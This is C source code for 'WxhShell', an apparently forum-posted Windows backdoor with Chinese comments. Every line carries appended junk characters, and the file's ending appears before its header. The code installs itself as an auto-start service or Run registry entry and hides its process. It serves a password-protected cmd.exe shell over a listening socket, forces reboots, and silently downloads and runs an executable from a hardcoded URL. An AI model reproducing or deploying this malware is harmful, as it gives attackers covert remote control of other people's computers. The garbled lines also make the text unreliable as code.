    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !R{R??  
    else { n[+'OU[  
    closesocket(wsh); 1hQN8!:<  
    ExitThread(0); oW}!vf3z  
    } [W,|kDK  
    break; GUp;AoQ  
    } H ZJL/=;  
  // 获取shell (yrh=6=z  
  case 's': { hXL|22>w<  
    CmdShell(wsh); dz9Y}\2tf  
    closesocket(wsh); g$37;d3Tx  
    ExitThread(0); GY!C|7kN  
    break; h^|5|l  
  } Wsz0yHD[`  
  // 退出  .jg0a  
  case 'x': { j.?:Gaab?#  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); D> ef  
    CloseIt(wsh); 2OBfHO~D  
    break; m9$:9yRm  
    } (RL>Hn;.  
  // 离开 #B}?Zg  
  case 'q': { a=]W zlz  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); BR_TykP  
    closesocket(wsh); D#rrW?-z  
    WSACleanup(); +a)E|(cN  
    exit(1); )$M,Ul  
    break; 5mB]N%rfW%  
        } nS.G~c|  
  } T|4snU2M  
  } Z| 6{T  
sRRI3y@  
  // 提示信息 dbGgD=}o  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); c$M%G)P  
} /Bv#) -5  
  } ETw]! br  
t%0?N<9YkU  
  return; I*)VZW  
} >l1 r,/\\  
=]>%t]  
// shell模块句柄 4*H"Z(HP  
int CmdShell(SOCKET sock) >%%=0!,yX  
{ [I+9dSM1t  
STARTUPINFO si; 'ig, ATY  
ZeroMemory(&si,sizeof(si)); _9If/RD  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; j'rS&BI G  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; m2bDHQ+  
PROCESS_INFORMATION ProcessInfo; H[&@}v,L  
char cmdline[]="cmd"; >IvBU M[Rt  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 'imU `zeo  
  return 0; QTJu7^ O9  
} JJk#,AP  
`u'dh{,gE  
// 自身启动模式 D_D,t8_Y  
int StartFromService(void) /XpSe<3  
{ !c(QSf502  
typedef struct d,#.E@Po  
{ b5`KB75sbo  
  DWORD ExitStatus; c.K =(y*  
  DWORD PebBaseAddress; n Y w\'c  
  DWORD AffinityMask; W4(?HTWZ  
  DWORD BasePriority; [1Dm<G u@  
  ULONG UniqueProcessId; MWwJzVL8  
  ULONG InheritedFromUniqueProcessId; 3(_!`0#F%  
}   PROCESS_BASIC_INFORMATION; )iE"Tl  
BSUPS+@+  
PROCNTQSIP NtQueryInformationProcess; T_hV%   
!C&%T]  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Z5)eREi=  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; pdz'!I  
=Viy^ieN$  
  HANDLE             hProcess; V|?WF&  
  PROCESS_BASIC_INFORMATION pbi; mUXk9X%n  
g`Md80*Zfk  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 00<{:  
  if(NULL == hInst ) return 0; ExhL[1E  
HtBF=Boq  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 3VO:+mT  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); \HSicV#i  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); z1j|E :  
O.\h'3C  
  if (!NtQueryInformationProcess) return 0; 7sV /_3H+  
uH{'gd,q8  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 5w3Fqu>39?  
  if(!hProcess) return 0; 78Y@OL_$  
xy^1US ,L1  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; vOT*iax0  
McP.9v}H0_  
  CloseHandle(hProcess); "sbBe73 m  
d<T%`:s<  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); _/x& <,3  
if(hProcess==NULL) return 0; 9M2f!kJP$  
v*TeTA %  
HMODULE hMod; G}Z4g  
char procName[255]; K8Zt:yP  
unsigned long cbNeeded; 3 N%{B  
tbG8MXX  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); :YvbU Y  
I,P!@  
  CloseHandle(hProcess); VXC4%  
L#j/0IHD  
if(strstr(procName,"services")) return 1; // 以服务启动 i\x~iP&F$  
&HF]\`RNr  
  return 0; // 注册表启动 _}=E^/;(  
} i^g~~h F  
UKs$W`  
// 主模块 a@ W7<9fY;  
int StartWxhshell(LPSTR lpCmdLine) n`<S&KP|  
{ eV;me>,  
  SOCKET wsl; G11cNr>*  
BOOL val=TRUE; 2ksA.,UB^9  
  int port=0; )Vk:YL++  
  struct sockaddr_in door; qi\n]I  
rO^xz7K^  
  if(wscfg.ws_autoins) Install(); 2%YXc|gGT  
U$J5r+>  
port=atoi(lpCmdLine); I:&# U$  
$c =&0yt5  
if(port<=0) port=wscfg.ws_port; oyvtZ/@  
mxL;;-  
  WSADATA data; TzF0/T!  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; *.8:'F  
DTy/jaK  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ,cQA*;6  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); yQ-hnlzn~  
  door.sin_family = AF_INET; n-OWwev)  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Wem?{kx0  
  door.sin_port = htons(port); 3+ asP&n  
4A  o{M  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ND,`QjmZ  
closesocket(wsl); _LLshV3  
return 1; 3^~Zj95M  
} Czh8zB+r  
"::9aYd!  
  if(listen(wsl,2) == INVALID_SOCKET) { ~d+O/:=K_  
closesocket(wsl); |[WL2<  
return 1; Q X):T#^V  
} V.j#E 1P  
  Wxhshell(wsl); /Sj_y*x1e  
  WSACleanup(); ;Jo*|pju  
$jcz?vH  
return 0; k~|ZO/X@l%  
;tr)=)q &  
} Rp4FXR jC  
gV`S%   
// 以NT服务方式启动 m3"c (L`B  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) dqz1xQ1  
{ Sj1r s#@1  
DWORD   status = 0; swt\Ru6,  
  DWORD   specificError = 0xfffffff; 4k*qVOBa6R  
%mmxA6I  
  serviceStatus.dwServiceType     = SERVICE_WIN32; .f%vDBJS  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; UzJ!Y/5  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; F*!gzKZ"  
  serviceStatus.dwWin32ExitCode     = 0; \7DCwu[0M  
  serviceStatus.dwServiceSpecificExitCode = 0; hU+#S(t>b  
  serviceStatus.dwCheckPoint       = 0; p XNtN5@FQ  
  serviceStatus.dwWaitHint       = 0; Cz[5Ug'V  
~Jxlj(" 0(  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); B3 .X}ys#  
  if (hServiceStatusHandle==0) return; `&,_xUA  
/J.0s0 @  
status = GetLastError(); H<z30r/-w  
  if (status!=NO_ERROR) Di])<V  
{ pLo;#e8'f  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; m9I(TOw  
    serviceStatus.dwCheckPoint       = 0; tnJ`D4  
    serviceStatus.dwWaitHint       = 0; N.vG]%1"  
    serviceStatus.dwWin32ExitCode     = status; d3(+ztmG!  
    serviceStatus.dwServiceSpecificExitCode = specificError; 2{gwY85:  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); x{j+}'9  
    return; ++gPv}:$X  
  } ZR2\ dH*  
l3\9S#3-^  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; `|JI\&z  
  serviceStatus.dwCheckPoint       = 0; I*9Gb$]=  
  serviceStatus.dwWaitHint       = 0; BiE$mM  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); #4lHaFq  
} (I!1sE!?1  
2X^iV09  
// 处理NT服务事件,比如:启动、停止 fGo_NB  
VOID WINAPI NTServiceHandler(DWORD fdwControl) rNxG0^k(  
{ G\uU- z$)  
switch(fdwControl) W n6,U=$3  
{ IY~ {)X  
case SERVICE_CONTROL_STOP: 5@iy3olP  
  serviceStatus.dwWin32ExitCode = 0; Sn0Xl3yr  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; sB8p( L  
  serviceStatus.dwCheckPoint   = 0; %'kX"}N/  
  serviceStatus.dwWaitHint     = 0; epYj+T  
  { sI4QI\*4  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); wNbTM.@  
  } QdirE4W  
  return; p>!1S  
case SERVICE_CONTROL_PAUSE: (\tq<h0  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; FfjC M7?  
  break; WEps.]s  
case SERVICE_CONTROL_CONTINUE: }il%AAI9}r  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; cS5w +`,L  
  break; ^`/V i  
case SERVICE_CONTROL_INTERROGATE: (+@faP   
  break; Ag<4r  
}; c.\:peDk  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); svF*@(- P#  
} EJv!tyJ\[  
;+r0 O0;9  
// 标准应用程序主函数 rrbZ+*U  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) s~/57S  
{ ]m RF[b$  
Fu#Y7)r  
// 获取操作系统版本 <%he  o  
OsIsNt=GetOsVer(); (tTLK0V-|3  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 1X Q87~  
YBR)s\*  
  // 从命令行安装 gca|?tt  
  if(strpbrk(lpCmdLine,"iI")) Install(); s!bHS_\e|  
RLv&,$$0  
  // 下载执行文件 rnJS[o0  
if(wscfg.ws_downexe) { 7%W!k zp>  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) zkH<aLRB  
  WinExec(wscfg.ws_filenam,SW_HIDE); EWSr@}2j .  
} ws#hhW3qK  
l DgzM3  
if(!OsIsNt) { h)"'YzCt  
// 如果时win9x,隐藏进程并且设置为注册表启动 FyQOa)5  
HideProc(); 9]"\"ka3>  
StartWxhshell(lpCmdLine); bx1G CD  
} pVdhj^n  
else kWI]fZ_n  
  if(StartFromService()) {|G&W^`  
  // 以服务方式启动 )x y9X0  
  StartServiceCtrlDispatcher(DispatchTable); ?exALv'B  
else cPx66Dh&  
  // 普通方式启动 K,Lr +  
  StartWxhshell(lpCmdLine); <<i=+ed8eP  
>qr=l,Hi  
return 0; F>p%2II/  
} hU |LFjc  
}o~Tw?z-|  
,^Ex}Z  
))c*_n  
=========================================== :Xb*m85y  
:/ ~):tM  
v\J!yz  
=#7s+d-  
D-;J;m \  
AviT+^7E  
" Kv(Y }  
3xc:Y> *`  
#include <stdio.h> 0^-z?Kb<}  
#include <string.h> VG? yL2y  
#include <windows.h> A)=X?x  
#include <winsock2.h> @oUf}rMiDa  
#include <winsvc.h> Lx9hq7<  
#include <urlmon.h> ,oy4V^B&  
T[`QO`\5O  
#pragma comment (lib, "Ws2_32.lib") V*0Y_T{_  
#pragma comment (lib, "urlmon.lib") 9 ?EY.}~  
LPtx|Sx![  
#define MAX_USER   100 // 最大客户端连接数 +# m   
#define BUF_SOCK   200 // sock buffer F[Qsv54  
#define KEY_BUFF   255 // 输入 buffer 0]f?Dx/8  
{6REfY c  
#define REBOOT     0   // 重启 @`#OC#  
#define SHUTDOWN   1   // 关机 P1M|f4*  
Tom}sFl][  
#define DEF_PORT   5000 // 监听端口 GA({ri  
0b!fWS?,k0  
#define REG_LEN     16   // 注册表键长度 \z(>h&  
#define SVC_LEN     80   // NT服务名长度 ={e#lC  
$u/8Rp  
// 从dll定义API W+fkWq7`Xx  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); zW|$x<M^  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); LA(f]Xmc  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); XyN`BDFi  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); yTMGISX5  
cx,u2~43A&  
// wxhshell配置信息 ,i1fv "  
struct WSCFG { 9 ayH:;  
  int ws_port;         // 监听端口 O% j,:t'"  
  char ws_passstr[REG_LEN]; // 口令 }[YcilU_  
  int ws_autoins;       // 安装标记, 1=yes 0=no Cf8R2(-4  
  char ws_regname[REG_LEN]; // 注册表键名 lk5_s@V l  
  char ws_svcname[REG_LEN]; // 服务名 $\=6."R5<  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 w+:+r/!g  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 #)Id J]  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 f?oI'5R41  
int ws_downexe;       // 下载执行标记, 1=yes 0=no B$iMU?B3  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 9}7oKlyk  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 wFH(.E0@Q  
XmE_F  
}; nJnO/~|  
kr &:;  
// default Wxhshell configuration J\,@Bm|1n{  
struct WSCFG wscfg={DEF_PORT, ePFC$kMn  
    "xuhuanlingzhe", qCv}+d)  
    1, |wl")|b%  
    "Wxhshell", |2+c DR  
    "Wxhshell", i1kh@s~8UC  
            "WxhShell Service", lW@:q04Z$  
    "Wrsky Windows CmdShell Service", #==[RNM%ap  
    "Please Input Your Password: ", JJ= ~o@|c  
  1,  @=^jpSnZ  
  "http://www.wrsky.com/wxhshell.exe", .-gm"lB  
  "Wxhshell.exe" LQuYCfj|  
    }; o>!~*b';g,  
9 ;! uV>-H  
// 消息定义模块 pD)/- Dgdm  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; W"DxIy  
char *msg_ws_prompt="\n\r? for help\n\r#>"; JN9HT0  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; lVO(9sl*i  
char *msg_ws_ext="\n\rExit."; G+%5V5GS  
char *msg_ws_end="\n\rQuit."; FZLzu  
char *msg_ws_boot="\n\rReboot..."; xfZ9&g  
char *msg_ws_poff="\n\rShutdown..."; J^e|"0d  
char *msg_ws_down="\n\rSave to "; S a#d?:L  
/-cX(z 7  
char *msg_ws_err="\n\rErr!"; A*?/F:E  
char *msg_ws_ok="\n\rOK!"; u+"hr"}${  
8wNU2yH+D  
char ExeFile[MAX_PATH]; bC>yIjCTn  
int nUser = 0; ~S~x@&yR  
HANDLE handles[MAX_USER]; ESXU, qK]v  
int OsIsNt; ui:>eYv  
ff2.| 20  
SERVICE_STATUS       serviceStatus; kgib$t_7  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; aF_ZV bS  
y0Q/B|&[  
// 函数声明 xHR+((  
int Install(void); m/"=5*pA  
int Uninstall(void); &dHm!b  
int DownloadFile(char *sURL, SOCKET wsh); 'FvhzGn9Q  
int Boot(int flag); 1]zyME  
void HideProc(void); 7Ohu$5\  
int GetOsVer(void); L< nkI  
int Wxhshell(SOCKET wsl); A+Pm "|  
void TalkWithClient(void *cs); :7AauoI  
int CmdShell(SOCKET sock); mqfEs0~I  
int StartFromService(void); =iQ`F$M  
int StartWxhshell(LPSTR lpCmdLine); Y_TL4  
"#"Fp&Z7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); e&VR>VJEA  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ;gw!;!T  
c&iK+qvh{  
// 数据结构和表定义 4FP~+  
SERVICE_TABLE_ENTRY DispatchTable[] = |'>E};D  
{ _S7M5{U_  
{wscfg.ws_svcname, NTServiceMain}, ` TVcI\W  
{NULL, NULL} 9jJ/ RXp  
}; JCMEhI6d*  
Z~.]ZWj -  
// 自我安装 E;+OD&|  
int Install(void) MsVI <+JZ  
{ ?5+KHG*)  
  char svExeFile[MAX_PATH]; GF,|;)ly  
  HKEY key; z jNjmC!W  
  strcpy(svExeFile,ExeFile); F<'l'AsC-  
c$UpR"+  
// 如果是win9x系统,修改注册表设为自启动  ]9l%  
if(!OsIsNt) { Jb-QP'$@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @=| b$E  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;),O*Z|"v  
  RegCloseKey(key); M%dl?9pbq  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3[g++B."pC  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); eDMwY$J  
  RegCloseKey(key); jn3|9x  
  return 0; f;; S  
    } )@&?i.  
  } "oGM> @q=B  
} r:\5/0(  
else { ff+9(P>*  
=2V;B  
// 如果是NT以上系统,安装为系统服务 q.K$b  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ClVpb ew  
if (schSCManager!=0) ,h(+\^ ?,  
{ Ydd>A\v\;  
  SC_HANDLE schService = CreateService i)^ZH#G p  
  ( W1,L>Az^Ts  
  schSCManager, |$-d, ] V  
  wscfg.ws_svcname, -JW6@L@  
  wscfg.ws_svcdisp, .j$bCKXGx  
  SERVICE_ALL_ACCESS, M:q ;z(  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ""KN?qh9  
  SERVICE_AUTO_START, Xcpm?aTo  
  SERVICE_ERROR_NORMAL, 6}FDLBA  
  svExeFile, x@R A1&c  
  NULL, g|*eN{g]uE  
  NULL, ;w&yGm  
  NULL, .mU.eLM  
  NULL, k=/|?%  
  NULL B0SmE_u_N  
  ); Ej3hdi)  
  if (schService!=0) 8t 35j   
  { g"AfI  
  CloseServiceHandle(schService); Oh85*3  
  CloseServiceHandle(schSCManager); ? F), 4Q  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); L5P}%1 _  
  strcat(svExeFile,wscfg.ws_svcname); w0`L)f5v  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { wk 7_(gT`0  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); hb\Y)HSp/  
  RegCloseKey(key); g.sV$.T2K  
  return 0; ^XB8A=xi  
    } Zkep7L   
  } :[rKSA]@  
  CloseServiceHandle(schSCManager); #$^i x  
}  V# %spW  
} 6G})h!  
&1C9K>  
return 1; 7CN[Z9Y^}  
} ZUI\0qh+  
Y>m=cqR  
// 自我卸载 0mi[|~x=  
int Uninstall(void) lTd2~_  
{ JF\viMfR  
  HKEY key; 7%FZXsD  
s5 'nWMo  
if(!OsIsNt) { 5WN Z7cO  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^"#rDP"v  
  RegDeleteValue(key,wscfg.ws_regname); :NyEd<'  
  RegCloseKey(key); YD.^\E4o  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :|mkI#P.  
  RegDeleteValue(key,wscfg.ws_regname); ~F6gF7]z  
  RegCloseKey(key); 4gNRln-  
  return 0; tLXw&hFk`g  
  } 6OW-Dif^AG  
} ._nKM5.  
} >o= p5#{  
else { EQhV}9  
#C7j|9Ew1]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); CXFAb1m  
if (schSCManager!=0) oVsazYJ|?  
{ e[dRHl  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); aM}"DY-_ h  
  if (schService!=0) vj$ 6  
  { twS3J)UH  
  if(DeleteService(schService)!=0) { 6N)1/=)  
  CloseServiceHandle(schService); 1}M.}G2u/  
  CloseServiceHandle(schSCManager); meD (ja  
  return 0; `v{X@x  
  } i */U.'#  
  CloseServiceHandle(schService); OYy !4Fp  
  } 'U0I.x(  
  CloseServiceHandle(schSCManager); 3 pH` ]m2  
} {xoo9jq-  
} xA E@cwg  
EZfa0jJD  
return 1; !QspmCo+  
} dkp[?f)x  
-{%''(G  
// 从指定url下载文件 tP{$}cEY  
int DownloadFile(char *sURL, SOCKET wsh) 291|KG  
{ jP'b! 4  
  HRESULT hr; \ \}/2#1=c  
char seps[]= "/"; `\0a5UFR  
char *token; K! j*:{  
char *file; qE:DJy <  
char myURL[MAX_PATH]; a$O]'}]`  
char myFILE[MAX_PATH]; {\zr_v`g  
Y@Y(;C"SW  
strcpy(myURL,sURL); ;O11)u?/s|  
  token=strtok(myURL,seps); _?c.3+;s  
  while(token!=NULL) r2'rf pQ  
  { n"Vd"}sU.  
    file=token; XOU$3+8q5  
  token=strtok(NULL,seps); ]w_)Spo.  
  } =lD]sk  
34:EpZO@  
GetCurrentDirectory(MAX_PATH,myFILE); 0M98y!A 5^  
strcat(myFILE, "\\"); a $%[!vF  
strcat(myFILE, file); uy:=V }p  
  send(wsh,myFILE,strlen(myFILE),0); S$WM&9U   
send(wsh,"...",3,0); gXJ^o;R>M  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); *b_54X%3  
  if(hr==S_OK) ~`H<sJ?9  
return 0; &2igX?60  
else ;)a9Y?  
return 1; -"H4brj;G  
 O+j:L  
} :n9^:srGZH  
H\bIO!vb  
// 系统电源模块 ~ }22Dvo  
int Boot(int flag) wm71,R1  
{ f|0QN#$  
  HANDLE hToken; +cH(nZ*f  
  TOKEN_PRIVILEGES tkp; i`'^ zR(`i  
oy: MM  
  if(OsIsNt) { <z)G& h@  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); #{,IY03  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 18`%WUPnT  
    tkp.PrivilegeCount = 1; E%B Gf}h  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; SqB|(~S  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); D0i30p`  
if(flag==REBOOT) { +Bfi/>  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) }C.{+U  
  return 0; =rF8[Q0K  
} :5J6rj;_  
else { 3kY4V*9@-  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Bdepvc}[#  
  return 0; ZRfa!9vl  
} s3 $Q_8H  
  } 3)SZVME1Z  
  else { Q$j48,e  
if(flag==REBOOT) { ;$< ek(i7  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) }wXD%X@)l  
  return 0; t7FQ.E,T  
} &J:)*EjVl5  
else { {[ *_HAy7  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))  Jx w<*  
  return 0; m)}MkC-  
} cO&9(.d  
} [^~9wFNtd  
G1 tp  
return 1; !k9h6/ b6  
} nUHVPuQ/'T  
O%e.u>=4%  
// win9x进程隐藏模块 C|LQYz-{  
void HideProc(void) EQC  
{ P.DWC'IBN  
_9r{W65s  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ^j}sS!p  
  if ( hKernel != NULL ) {m:R v&T  
  { W^Y0>W~  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ; bE6Y]"Rz  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 3~rc=e  
    FreeLibrary(hKernel); cU|jT8Q4H  
  } =U2n"du  
a*y mBGF  
return; x$DJ  
} +9CUnRv  
|pSoBA9U  
// 获取操作系统版本 IoOnS)  
int GetOsVer(void) !@k@7~i  
{ MDt?7c  
  OSVERSIONINFO winfo; BxYA[#fd}  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Xm'K6JH'  
  GetVersionEx(&winfo); 1H7Q[ 2E  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Dj"=kL0  
  return 1; I xBO$ 2  
  else vW3ZuB  
  return 0; 4'&BpFDUb  
} ><c5Humr  
HH@xn d  
// 客户端句柄模块 K9'*q3z  
int Wxhshell(SOCKET wsl) a=VT|CX[  
{ x`i`]6q  
  SOCKET wsh; S\gP=.G  
  struct sockaddr_in client; *wcoDQ b;  
  DWORD myID; 4+,Z'J%\[7  
#SNI dc>9\  
  while(nUser<MAX_USER) Fg_s'G,`  
{ *PU,Rc()6  
  int nSize=sizeof(client); w[YbL2p  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ygt)7f5  
  if(wsh==INVALID_SOCKET) return 1; >]8.xkQq  
4LJ}>e  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); X{9o8 *V  
if(handles[nUser]==0) /j@ `aG(a  
  closesocket(wsh); !5t 3Y  
else aZ`ags ofk  
  nUser++; ~la04wR28  
  } >Fk `h=Wd  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); T?{9Z  
v=-3 ,C  
  return 0; Qp&yS U8  
} h xJgxM  
o;_bs~}y  
// 关闭 socket N~_jiVD>  
void CloseIt(SOCKET wsh) Cbs4`D,  
{ ?^4sE-C6  
closesocket(wsh); de{YgN  
nUser--; tN> B$sv  
ExitThread(0); z ]N~_9w  
} X>8?p'*  
BM~niW;k  
// 客户端请求句柄 )0MshgM  
void TalkWithClient(void *cs) })vr*[  
{ E?U]w0g  
u(WQWsN  
  SOCKET wsh=(SOCKET)cs; >ImM~SR)  
  char pwd[SVC_LEN]; 5?0gC&WfN  
  char cmd[KEY_BUFF]; aZGDtzNG5h  
char chr[1]; f<p4Pkv  
int i,j; <>Ddxmw  
`h5eej&s(  
  while (nUser < MAX_USER) { L#q9_-(#  
HTyF<K  
if(wscfg.ws_passstr) { ~7WXjVZ  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #ic 2ofI  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); g~:(EO(w  
  //ZeroMemory(pwd,KEY_BUFF); e4%*I8 ^e  
      i=0; e`M]ZG rr  
  while(i<SVC_LEN) { 9Ru%E>el-  
9|A-oS  
  // 设置超时 &ntP~!w  
  fd_set FdRead; | 8Egw-f  
  struct timeval TimeOut; bRz^=  
  FD_ZERO(&FdRead); RXS|-_$  
  FD_SET(wsh,&FdRead); sxwW9_C  
  TimeOut.tv_sec=8; }Rxg E~ F  
  TimeOut.tv_usec=0; "`*a)'.'^c  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); yXo0z_ G  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); q,JA~GG  
^WW|AS  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); q}v04Yy,o  
  pwd=chr[0]; )-:eQ{st`  
  if(chr[0]==0xd || chr[0]==0xa) { ]N <]  
  pwd=0; %g@3S!lK  
  break; b_gN?F7_  
  } m?% H<4X  
  i++; >VUQTg  
    } nk|N.%E  
&z X 3  
  // 如果是非法用户,关闭 socket giPo;z\c  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); JBEgiQ/  
} W%9K5(e  
zo7XmUI3P  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); mQ60@_"Y=,  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); K#f`_SCW  
X >Xp&o  
while(1) {  QXxLe*  
jvc?hUcLKT  
  ZeroMemory(cmd,KEY_BUFF); '}pgUh_  
OG^WZ.YU  
      // 自动支持客户端 telnet标准   ;(0(8G  
  j=0; ^HlLj#  
  while(j<KEY_BUFF) { %*6oUb  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); nB@iQxcz  
  cmd[j]=chr[0]; $:BK{,\  
  if(chr[0]==0xa || chr[0]==0xd) { #+Yp^6zg  
  cmd[j]=0; Sa?5iFg  
  break; syW9Hlm  
  } DkF2R @  
  j++; oD#< ?h)(  
    } }#W`<,*rL.  
>6l;/J  
  // 下载文件 =Q8H]F  
  if(strstr(cmd,"http://")) { 8Z4?X%  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); P-OPv%jyi  
  if(DownloadFile(cmd,wsh)) S|q!? /jqj  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); U|Z>SE<k  
  else q]i(CaKh  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P 5qa:<  
  } _{c|o{2sj  
  else { {~p7*j^0  
"?eH=!  
    switch(cmd[0]) { cR=94i=t  
